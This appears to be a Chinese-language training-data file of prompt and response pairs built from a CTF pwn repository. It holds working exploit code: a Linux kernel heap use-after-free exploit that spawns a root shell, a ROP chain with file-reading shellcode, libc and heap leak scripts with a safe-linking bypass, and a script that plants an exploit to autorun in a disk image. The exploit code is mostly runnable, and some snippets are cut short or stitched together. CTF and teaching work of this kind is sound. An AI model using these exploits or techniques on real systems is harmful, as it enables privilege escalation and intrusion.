- `d3kheap2_show`
- `err_exit`
- `exploit`
- `get_msg_queue`
- `get_root_shell`
- `main`
- `peek_msg`
- `read_msg`
- `write_msg`

利用主题关键词：
- uaf/double-free
- io-file/fsop
- seccomp/orw
- kernel

关键常量/偏移样例：
`0x100`, `0x180`, `0x400`, `0xff0`, `0xff8`, `0xffe`, `0x1000`, `0x9d000`, `0x10000000`, `0x3361626e`, `0x4e575046`, `0x54433344`, `0x74747261`, `0x3361626e74747261`, `0xffff888000000000`, `0xffffea0000000000`

训练用代码片段：
```c
/**
 * Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/prctl.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

#define KASLR_GRANULARITY 0x10000000
#define KASLR_MASK (~(KASLR_GRANULARITY - 1))
size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;

void err_exit(char *msg)
{
    printf(ERROR_MSG("[x] Error at: ") "%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf(SUCCESS_MSG("[*] Process binded to core ") "%d\n", core);
}

void get_root_shell(void)
{
    if(getuid()) {
        log_error("[x] Failed to get the root!");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    log_success("[+] Successful to get the root.");
    log_info("[*] Execve root shell now...");

    system("id; cat /flag 2>/dev/null || true");
    system("/bin/sh");

    /* to exit the process normally, instead of potential segmentation fault */
    exit(EXIT_SUCCESS);
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

struct cred {
    long usage;
    uint32_t uid;
    uint32_t gid;

# ... 中间内容省略，保留关键利用片段 ...

#define D3KHEAP2_OBJ_FREE   0x74747261
#define D3KHEAP2_OBJ_EDIT   0x54433344
#define D3KHEAP2_OBJ_SHOW   0x4e575046
    return ioctl(fd, D3KHEAP2_OBJ_ALLOC, &ureq);
int d3kheap2_free(int fd, size_t idx)
    return ioctl(fd, D3KHEAP2_OBJ_FREE, &ureq);
int d3kheap2_edit(int fd, size_t idx)
    return ioctl(fd, D3KHEAP2_OBJ_EDIT, &ureq);
int d3kheap2_show(int fd, size_t idx)
    return ioctl(fd, D3KHEAP2_OBJ_SHOW, &ureq);
#define KMALLOC_2K_OBJ_PER_SLUB 16
/* it cannot be big because the system limits that */
        "[*] Freeing d3kheap2 buffer into buddy "
        "and reclaiming as kmalloc-cg-2k SLUB page..."
        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 == 0) {
        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {
                ERROR_MSG("FAILED to free no.")"%d"
            err_exit("FAILED to free d3kheap2 buffer!");
        if ((i / KMALLOC_2K_OBJ_PER_SLUB) % 2 != 0) {
        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {
                ERROR_MSG("FAILED to free no.")"%d"
            err_exit("FAILED to free d3kheap2 buffer!");
    /* To be honest, we only need to free ONE obj here, just think :) */
        if ((errno = d3kheap2_free(d3kheap2_fd, i)) < 0) {
                ERROR_MSG("FAILED to free no.")"%d"
            err_exit("FAILED to free d3kheap2 buffer!");
        perror("[x] Unable to free the victim msg_msg");
        err_exit("FAILED to free victim msg_msg!");
        perror("[x] Unable to free the victim msg_msg");
        err_exit("FAILED to free victim msg_msg!");
    system("/bin/sh");
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「1. 覆盖 seed，预测 rand」。
资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# 1. 覆盖 seed，预测 rand
p.sendlineafter(b"Tell me your name, my dear: ", b"a" * 16)
seed = 0x61616161
LIBC.srand(seed)
wolf = LIBC.rand()
sword = LIBC.rand()
tmp0 = LIBC.rand()
tmp1 = LIBC.rand()

p.recvuntil(b"Lion is ")
libcbase = (int(p.recvline().strip()) ^ tmp0 ^ wolf) - libc.sym["setvbuf"]
log.success("libcbase = %#x" % libcbase)

p.recvuntil(b"Snake is ")
fortune = int(p.recvline().strip()) ^ tmp1 ^ sword
log.success("fortune = %#x" % fortune)

IO-FILE/house of apple2/2024ylb futureheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/2024wdb/server.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/2024wdb/server.py`

分类：kernel

语言：python

环境/依赖线索：
- `from Crypto.Cipher import AES`
- `from Crypto.Util.Padding import pad, unpad`
- `import os`
- `import subprocess`
- `import base64`

函数/封装：
- `process_qemu`
- `readline`
- `readuntil`

利用主题关键词：
- seccomp/orw
- safe-linking

训练用代码片段：
```python
#from Cryptodome.Cipher import AES
from Crypto.Cipher import AES
#from Cryptodome.Util.Padding import pad, unpad
from Crypto.Util.Padding import pad, unpad
import os
import subprocess
import base64

def readuntil(process, until_text):
	while True:
		output = readline(process)
		if any(substring in output for substring in until_text):
			break

	return output

def readline(process):
	return process.stdout.readline()

def process_qemu(code, start_script):
	process = subprocess.Popen([start_script], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=0)

	readuntil(process, ["Input ur b64_code: \n", "Power down"])

	process.stdin.write(code+"\n")

	result = readuntil(process, ["result", "Power down"])

	if "result" in result:
		return result.split("result: ", 1)[1]
	else:
		return "dummydummydummy\n"

if __name__ == '__main__':
	print("Welcome to Generic Linux kernel shellcode Challenge")
	code = input("Input ur b64_code: \n")

	print("Virtual 1 Working......")

	os.chdir("./vir1")
	key = process_qemu(code, "./vir1_start.sh").replace('\n', '').encode("ascii")
	print("Virtual 1 Finished")

	print("Virtual 2 Working......")
	os.chdir("../vir2")
	cipher_b64 = process_qemu(code, "./vir2_start.sh").replace('\n', '').encode("ascii")
	print("Virtual 2 Finished")

	print("Calc ur result......")

	if cipher_b64.find(b"dummy")!=-1 or key.find(b"dummy")!=-1:
		print("Bad kernel shellcode")
	else:
		cipher_raw = base64.b64decode(cipher_b64)
		cipher = AES.new(key, AES.MODE_ECB)
		decrypted = cipher.decrypt(cipher_raw).rstrip(b'\x00').decode("ascii")

		print("Nice kernel shellcode")
		print(decrypted)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/2026d3ctf-d3kheap2pro/make_autorun_image.sh`

分类：kernel

语言：bash

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```bash
#!/bin/sh
set -eu
out=${1:-/tmp/d3k-autorun.raw}
cp rootfs.raw "$out"
cat > /tmp/rcS.d3k <<'EOI'
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf
mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts
cat /banner
if [ ! -e "/dev/sdb" ];then
    echo "[!] No flag provided, running in testing environment?"
else
    dd if=/dev/sdb of=/flag bs=1M iflag=direct oflag=direct 1>/dev/null 2>/dev/null
    echo 1 > /sys/block/sdb/device/delete
    echo 3 > /proc/sys/vm/drop_caches
fi
chown root:root /flag
chmod 0400 /flag
insmod /root/d3kheap2pro.ko
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
printf "\n=== AUTORUN EXP as ctf ===\n"
su ctf -c /home/ctf/exp
printf "=== AUTORUN DONE ===\n"
poweroff -d 0 -f
EOI
chmod 755 /tmp/rcS.d3k
: > /tmp/d3k-autorun-debugfs.log
debugfs -w -R "rm /home/ctf/exp" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true
debugfs -w -R "write exp /home/ctf/exp" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1
debugfs -w -R "set_inode_field /home/ctf/exp mode 0100777" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true
debugfs -w -R "rm /etc/init.d/rcS" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true
debugfs -w -R "write /tmp/rcS.d3k /etc/init.d/rcS" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1
debugfs -w -R "set_inode_field /etc/init.d/rcS mode 0100777" "$out" >>/tmp/d3k-autorun-debugfs.log 2>&1 || true
cat /tmp/d3k-autorun-debugfs.log
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/2025hgame ezstack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/2025hgame ezstack/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1b0`, `0x200`, `0x300`, `0x2000`, `0x401194`, `0x401204`, `0x401376`, `0x4013D5`, `0x40140F`, `0x404000`, `0x404788`, `0x67616c662f`, `0x000000000002601f`, `0x0000000000119431`, `0x000000000040135d`

训练用代码片段：
```python
from pwn import *

elf = ELF("./vuln")
p = process([elf.path])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
ia = lambda: io.interactive()
uu32 = lambda : u32(p.recvuntil(b'\xff')[-4:].ljust(4,b'\x00'))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64_h= lambda : u64(p.recvuntil(('\x55','\x56'))[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

pop_rbp=0x000000000040135d #: pop rbp ; ret
pop_rdi=0x0000000000401713 #: pop rdi ; ret
pop_rsi_r15=0x0000000000401711 #: pop rsi ; pop r15 ; ret
leave_ret=0x00000000004013cb #: leave ; ret

read=0x4013D5
print_libc=0x401376
bss=elf.bss(0x300)
lg('bss')
write_got=elf.got['write']
pay=b'\x00'*0x50+p64(bss+0x50)+p64(read)
sa(b'luck.\n',pay)
pay=p64(pop_rsi_r15)+p64(write_got)*2+p64(0x401194)+p64(pop_rbp)+p64(bss+0x200)+p64(read)
pay=pay.ljust(0x50,b'\x00')+p64(bss-0x8)+p64(leave_ret)
sa(b'luck.\n',pay)
libc.address=uu64()-libc.sym['write']
lg('libc.address')
pop_rdx_r12=0x0000000000119431 +libc.address#: pop rdx ; pop r12 ; ret
mprotect=libc.sym['mprotect']
pop_rsi=0x000000000002601f+libc.address #: pop rsi ; ret
data_addr=0x404000
read_plt=0x401204
pay=p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx_r12)+p64(0x200)*2+p64(read_plt)+p64(pop_rbp)+p64(bss+0x300-0x8)+p64(leave_ret)
pay=pay.ljust(0x50,b'\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)
sa(b'luck.',pay)
shellcode = asm('''
    mov r15,rdi
    mov rax, 0x67616c662f
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov rdi,r15
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')
# pay=pay.ljust(0x50,b'\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)
pay=p64(pop_rdi)+p64(data_addr)+p64(pop_rsi)+p64(0x2000)
pay+=p64(pop_rdx_r12)+p64(7)*2+p64(mprotect)+p64(pop_rbp)+p64(bss+0x200)+p64(0x40140F)+shellcode
sd(pay)
sd(p64(0x404788))

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「地址泄露」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 地址泄露

exp 的第一阶段先申请 8 个小块：

```python
for i in range(8):
    add(i, b'zena', 0x20, (str(i) * 0x10).encode())
```

随后按以下顺序删除：

```python
for idx in [0, 0, 1, 2, 1, 0]:
    delete(idx)
```

因为链表删除会调整 index，实际删除的是不断变化后的节点，目的是整理 `0x30/0x50/0x80` 等大小的 tcache/unsorted 状态。

接着重新申请：

```python
add(2, b'M1a0', 0x3F0, b'0')
add(3, b'M1ao0', 0x48, b'0')
add(4, b'M1aoo0', 0x78, b'0' * 0x58)
```

`show(3)` 从残留 metadata 中泄露 libc 地址：

```python
libc_line = show(3)
libc_leak = u64(libc_line[-6:].ljust(8, b'\x00'))
libc.address = libc_leak - 0x21AD30
```

`show(4)` 泄露 safe-linking 的 heap key：

```python
heap_line = show(4)
heap_key = u64(heap_line[-5:].ljust(8, b'\x00'))
heap_base = heap_key << 12
```

glibc 2.35 tcache safe-linking 编码为：

```text
encoded_fd = real_fd ^ (chunk_addr >> 12)
```

泄露 `heap_key = heap_base >> 12` 后即可伪造 tcache fd。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「模块接口」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/README.md；主题：2026d3ctf-d3kheap2pro；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 模块接口

模块创建了 `/proc/d3kheap2pro`：

```c
proc_create("d3kheap2pro", 0666, NULL, &d3kheap2pro_ops);
```

`open/read/write/release` 基本没有可用逻辑，核心入口是 `ioctl`。

用户传入结构只有 8 字节：

```c
struct d3kheap2pro_ureq {
    size_t idx;
};
```

模块维护 512 个 slot，逻辑结构近似为：

```c
struct d3kheap2pro_slot {
    void *ptr;
    int refcnt;
    int padding;
};

struct d3kheap2pro_slot slots[512];
```

模块初始化时创建了一个自定义 cache：

```c
cachep = kmem_cache_create("d3kheap2pro_cache", 0x800, 0, 0x2100, NULL);
```

即每个对象大小为 `0x800` / 2048 字节。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2.1 初始化与信息泄露」。
资料来源：IO-FILE/house of apple2/2024ylb futureheap/WP.md；主题：2024ylb futureheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 2.1 初始化与信息泄露

程序初始化时会先申请一页 RWX mmap：

```c
fortune = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
```

随后读入名字：

```c
char buf[0x20];
scanf("%16s", buf);
strcpy(name, buf);
```

相关全局变量位置：

```text
fortune = 0x4080
wheel   = 0x40a0
name    = 0x40d0
seed    = 0x40d8
```

`name` 只有 8 字节，`seed` 紧跟在 `name` 后面。输入 16 个 `a` 后，`seed` 被覆盖为 `0x61616161`，于是 `srand(seed)` 的随机数序列可预测。

初始化中泄露提示的逻辑为：

```c
srand(seed);
wolf  = rand();
sword = rand();
tmp0  = rand();
lion  = setvbuf_got ^ tmp0 ^ wolf;
snake = fortune ^ rand() ^ sword;
```

所以：

```python
libcbase = (lion ^ tmp0 ^ wolf) - libc.sym["setvbuf"]
fortune  = snake ^ tmp1 ^ sword
```

其中本题 libc 关键偏移：

```text
setvbuf        = 0x815f0
system         = 0x50d70
_IO_list_all   = 0x21b680
_IO_wfile_jumps= 0x2170c0
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 原理

从 small bin 中取出 chunk 时会对该 chunk 的 bk 指向的 chunk 的 fd 进行检查：

```c
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
  {
    bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim))
      malloc_printerr ("malloc(): smallbin double linked list corrupted");
    set_inuse_bit_at_offset (victim, nb);
    bin->bk = bck;
    bck->fd = bin;
    ...
```

但是最后将 small bin 中剩余 chunk 放入 tcache 直到 tcache 填满的过程却不会进行检查。

因此可以采用下面的方法进行攻击：

- small bin 放两个 chunk 是为了绕过第一次从 small bin 取 chunk 时的检查。
- tcache 放 5 个 chunk 并 calloc 申请内存既可以保证 两次 stash 将 fake chunk1 申请出来，同时确保 stash 次数不会过多造成访存错误。
- tcache stash unlink 最终效果是任意地址 malloc 和任意地址写某个（些）值。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/target/TargetDb.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <map>`
- `#include <memory>`
- `#include <optional>`
- `#include <vector>`
- `#include <xdk/target/Target.h>`

利用主题关键词：
- io-file/fsop
- seccomp/orw

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <map>
#include <memory>
#include <optional>
#include <vector>
#include <xdk/target/Target.h>

class KxdbParser;
/**
 * @defgroup target_classes Target Classes
 * @brief Classes for managing and representing targets.
 */

/**
 * @ingroup target_classes
 * @class TargetDb
 * @brief Manages a database of kernel targets, including both static and dynamically parsed ones.
 */
class TargetDb {
    std::unique_ptr<KxdbParser> parser_;

    std::vector<Target> static_targets_;
    std::map<std::string, size_t> by_version_;
    std::map<std::string, size_t> by_distro_release_;

    /**
     * @brief Merges data from a source Target object into a destination Target object.
     * @param dst The destination Target object to merge into.
     * @param src The source Target object to merge from.
     */
    void MergeTargets(Target& dst, const Target& src);

    /**
     * @brief Retrieves a Target object, merging data from a KxdbParser target and a target if available.
     * @param target_opt An optional Target object parsed from a KXDB file.
     * @param static_idx An optional index of a target to merge.
     * @return The merged Target object.
     * @throws ExpKitError if both target_opt and static_idx are not provided.
     */
    Target GetTarget(std::optional<Target> target_opt,
                     std::optional<size_t> static_idx);

public:
    // declare destructor
    ~TargetDb();
    TargetDb() = default;

    /**
     * @brief Constructs a TargetDb object.
     * @param filename A database file to read from.
     */
    TargetDb(const std::string &filename);

    /**
     * @brief Constructs a TargetDb object from a byte buffer.
     * @param data The buffer containing the KXDB file data.
     */
    TargetDb(const std::vector<uint8_t>& data);

    /**
     * @brief Constructs a TargetDb object.
     * @param filename A database file to read from if exists.
     * @param fallback_kxdb The buffer containing the fallback / built-in KXDB file data if the file does not exists.
     */
    TargetDb(const std::string& filename, const std::vector<uint8_t>& fallback_kxdb);

    /**
     * @brief Adds a target to the database.
     * @param target The target to add.
     */
    void AddTarget(const Target& target);

    /**
     * @brief Retrieves a Target object by distro and release name.
     * @param distro The distribution name.
     * @param release_name The release name.
     * @return The Target object.
     */
    Target GetTarget(const std::string& distro,
                     const std::string& release_name);

    /**
     * @brief Retrieves a Target object by version.
     * @param version The version string.
     * @return The Target object.
     */
    Target GetTarget(const std::string& version);

    /**
     * @brief Automatically detects the target based on the system's kernel version.
     * @return The detected Target object.
     * @throws ExpKitError if the target cannot be detected.
     */
    Target AutoDetectTarget();
};
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「bins」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### bins

用户释放掉的`chunk`不会马上归还给系统，ptmalloc 会统一管理`heap`和`mmap`映射区域中的空闲的`chunk`。当用户再一次请求分配内存时，ptmalloc 分配器会试图在空闲的`chunk`中挑选一块合适的给用户。这也可以避免频繁的系统调用，降低内存分配的开销。

在具体的实现中，ptmalloc 采用分箱式方法对空闲的`chunk`进行管理。首先，它会根据空闲的`chunk`的大小以及使用状态将`chunk`初步分为4类：`fast bins`，`small bins`，`large bins`，`unsorted bin`。对于 libc2.27 及以上版本还有`tcache`。

**概述**

对于`small bins`，`large bins`，`unsorted bin`来说，ptmalloc 将它们维护在一个`bins`数组中。这些`bin`对应的数据结构在`malloc_state`中，如下：

```plain
#define NBINS 128
/* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
```

`bins`数组实际上可以看做是以`chunk`为单位，只不过采用空间复用策略，因为实际用到的只有`fd`和`bk`。

```plain
/* addressing -- note that bin_at(0) does not exist */
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))                \
             - offsetof (struct malloc_chunk, fd))
```

由于是双链表结构`bins`数组每连续两个`chunk`指针维护一个`bin`（即`fd`和`bk`），其结构如下图所示（64位）。其中 `small bins`中`chunk`大小已给出。`large bins`的每个`bin`中的`chunk`大小在一个范围内。

`lareg bin`的`chunk`范围如下：

大于`0x400`的`chunk`就会放到`large bin`中。

对于`fast bin`，在`malloc_state`又单独定义了一个`fastbinsY`的结构维护。

```plain
typedef struct malloc_chunk *mfastbinptr;

/*
	/* Fastbins */
	mfastbinptr fastbinY[ NFASBINS ];
*/
```

由于`fast bin`为单链表结构，因此数组中第一个指针就可以维护一个`bin`。结构如图所示：

[图片: image]

**Fast Bin**

为了避免大部分时间花在了合并、分割以及中间检查的过程中影响效率，因此 ptmalloc 中专门设计了`fast bin`。

`fast bin`采用单链表形式，结构如下图所示：

[图片: image]

`fast bin`有如下性质：

+ 由于采用单链表结构，`fast bin`采取 LIFO（后进先出）策略。
+ 每个`fast bin`中维护的`chunk`大小确定，并且`fast bin`维护的最大的`chunk`为 128 字节（64位），因此不超过 0x80（chunk大小）的内存释放会进入`fast bin`。
+ `fast bin`范围的`chunk`下一个相邻`chunk`的`PREV_INUSE`始终被置为1。因此它们不会和其它被释放的`chunk`合并。除非调用`malloc_consolidate`函数。

安全检查：

+ `size`：在`malloc()`函数分配`fastbin size`范围的`chunk`时，若是对应的`fastbin`中有空闲`chunk`，在取出前会检查其`size`域与对应下标是否一致，不会检查标志位，若否便会触发`abort`。
+ `double free`： 在`free()`函数中会对`fast bin`链表的头结点进行检查，若将要被放入`fast bin`中的`chunk`与对应下标的链表的头结点为同一`chunk`，则会触发`abort`。
+ Safe linking 机制（only glibc2.32 and up）：自 glibc 2.32 起引入了 safe-linking 机制，其核心思想是在链表上的`chunk`中并不直接存放其所连接的下一个`chunk`的地址，而是存放下一个`chunk`的地址与【`fd`指针自身地址右移 12 位】所异或得的值，使得攻击者在得知`chunk`的地址之前无法直接利用其构造任意地址写。

```plain
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
```

需要注意的是`fastbin`的入口节点存放的仍是未经异或的`chunk`地址。

另外第一个加入`fast bin`的`chunk`的`fd`字段可以泄露堆地址（右移 12 位）。

**Small Bin**

`small bin`采用双向链表，结构如下图所示。

`small bin`有如下性质：

+ `small bins`中每个`bin`对应的链表采用 FIFO 的规则。
+ 每个`small bin`维护的`chunk`大小确定，并且`small bin`维护的最大的`chunk`为1008字节（64位），即 0x3f0 的`chunk`大小。

**Large Bin**

`large bins`中一共包括64个`bin`，每个`bin`中的`chunk`的大小不一致，而是处于一定区间范围内。`large bin`的结构如下：

关于`fd_nextsize`和`bk_nextsize`的机制，这里以`fd_nextsize`为例：

+ `fd_nextsize`和`bk_nextsize`与`bins`数组没有连接关系（这就解释了为什么`bins`上没有体现`fd_nextsize`和`bk_nextsize`结构）。
+ `large bin`里的`chunk`在`fd`指针指向的方向上按照`chunk`大小降序排序。
+ 当`large bin`里有一个`chunk`时，`fd_nextsize`和`bk_nextsize`指向自己（如上面`large bin`的结构图所示）。
+ 当`large bin`里同一个大小的`chunk`有多个时，只有相同大小`chunk`中的第一个的`fd_nextsize`和`bk_nextsize`指针有效，其余的`chunk`的`fd_nextsize`和`bk_nextsize`设为`NULL`。

[图片: image]

+ `large bin`中有多个不同大小的`chunk`时`fd_nextsize`连接比它小的第一个`chunk`，`bk_nextsize`就是把`fd_nextsize`反过来连到对应结构上。

[图片: image]

+ `large bin`最小的一组 `chunk` 中的第一个 `chunk` 的 `fd_nextsize` 连接的是最大的 `chunk`，最大的 `chunk` 的 `bk_nextsize` 相反。

[图片: image]

**Unsorted Bin**

`unsorted bin`可以视为空闲`chunk`回归其所属`bin`之前的缓冲区。像`small bin`一样采用双向链表维护。`chunk`大小乱序。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/srop/rootersctf_2019_srop/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/srop/rootersctf_2019_srop/exp.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0x1000`, `0x0000000000401032`, `0x0000000000401033`, `0x0000000000402000`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('rootersctf_2019_srop')
io = process([elf.path])
